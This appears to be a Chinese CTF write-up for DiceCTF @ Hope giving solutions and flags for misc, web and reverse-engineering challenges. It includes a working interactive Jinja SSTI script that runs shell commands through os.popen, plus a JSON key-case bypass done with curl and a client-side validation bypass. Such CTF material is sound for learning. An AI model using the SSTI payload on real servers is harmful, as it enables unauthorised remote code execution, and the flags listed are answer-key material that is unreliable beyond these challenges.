DiceCTF @ Hope
前言
这个比赛感觉有亿点点难,比那个LIT CTF难多了,这三天打了这俩比赛,累dei。
misc
discord
Please join our Discord server for challenge updates and other important announcements!
hope{a0bffd79ddaa5de3fd8ed2e60a143b08}
orphan
nothing to see here
下载附件发现是git源码,找HEAD得到分析得到如下add flag
add flag的commit id是b53c9e6864ed176ea0192fd8283362a41d94906c,溯源得到flag
hope{ba9f11ecc3497d9993b933fdc2bd61e5}
web
secure-page
My new website uses cookies for authentication. Now nobody can get in! secure-page.mc.ax
改成true
hope{signatures_signatures_signatures}
reverser
An extremely useful tool. Hope there aren’t issues with the server-side templating…
The flag is in a file with an unknown name.
考察ssti,但是一直报错
队友的脚本,贴一下
import requests
url = "https://reverser.mc.ax/"
while (1):
cmd = input(">")
payload = r"""{{[].__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('"""
payload += cmd
payload += r"""').read()")}}"""
print(requests.post(url, data={'text':payload[::-1]}).text)
hope{cant_misuse_templates}
flag-viewer
主要代码如下
import os
import random
from server import Server
server = Server()
@server.get('/')
async def root(request):
return (200, '''
<title>Flag Viewer</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>The Flag Viewer</h1>
<form action="/flag" method="POST">
<input
type="text"
name="user"
placeholder="Username"
pattern="^(?!admin).*$"
oninvalid="this.setCustomValidity('Name not allowed!')"
oninput="this.setCustomValidity('')"
/>
<input type="submit" value="Submit" />
</form>
<div>%s</div>
</div>
''' % (
request.query.get('message', '').replace('<', '<'),
))
@server.post('/flag')
async def flag(request):
data = await request.post()
user = data.get('user', '')
if user != 'admin':
return (302, '/?message=Only the "admin" user can see the flag!')
return (302, f'/?message={os.environ.get("FLAG", "flag missing!")}')
@server.get('/style.css', c_type='text/css')
async def style(request):
del request
return (200, '''
* {
font-family: 'Helvetica Neue', sans-serif;
box-sizing: border-box;
}
html, body { margin: 0; }
.container {
padding: 2rem;
width: 90%;
max-width: 900px;
margin: auto;
}
input:not([type="submit"]) {
width: 100%;
padding: 8px;
margin: 8px 0;
}
''')
server.run('0.0.0.0', 3000)
输入admin
访问flag
post传
hope{oops_client_side_validation_again}
point
what is the point?
package main
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"strings"
)
type importantStuff struct {
Whatpoint string `json:"what_point"`
}
func main() {
flag, err := os.ReadFile("flag.txt")
if err != nil {
panic(err)
}
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
fmt.Fprint(w, "Hello, world")
return
case http.MethodPost:
body, err := io.ReadAll(r.Body)
if err != nil {
fmt.Fprintf(w, "Something went wrong")
return
}
if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
fmt.Fprintf(w, "Something went wrong")
return
}
var whatpoint importantStuff
err = json.Unmarshal(body, &whatpoint)
if err != nil {
fmt.Fprintf(w, "Something went wrong")
return
}
if whatpoint.Whatpoint == "that_point" {
fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
return
} else {
fmt.Fprintf(w, "Something went wrong")
return
}
default:
fmt.Fprint(w, "Method not allowed")
return
}
})
log.Fatal(http.ListenAndServe(":8081", nil))
}
curl -XPOST https://point.mc.ax/ -d '{"WhAt_point":"that_point"}'
hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
rev
sequence
跟进check()
跟进read_numbers()
输入a1, a1 + 4, a1 + 8, a1 + 12, a1 + 16, a1 + 20,这六个数值,判断是否满足条件,是的话就会返回flag
第一个数值是12,固定的,所以直接一个for循环即可找到六个数字
hope{definitely_solvable_with_angr}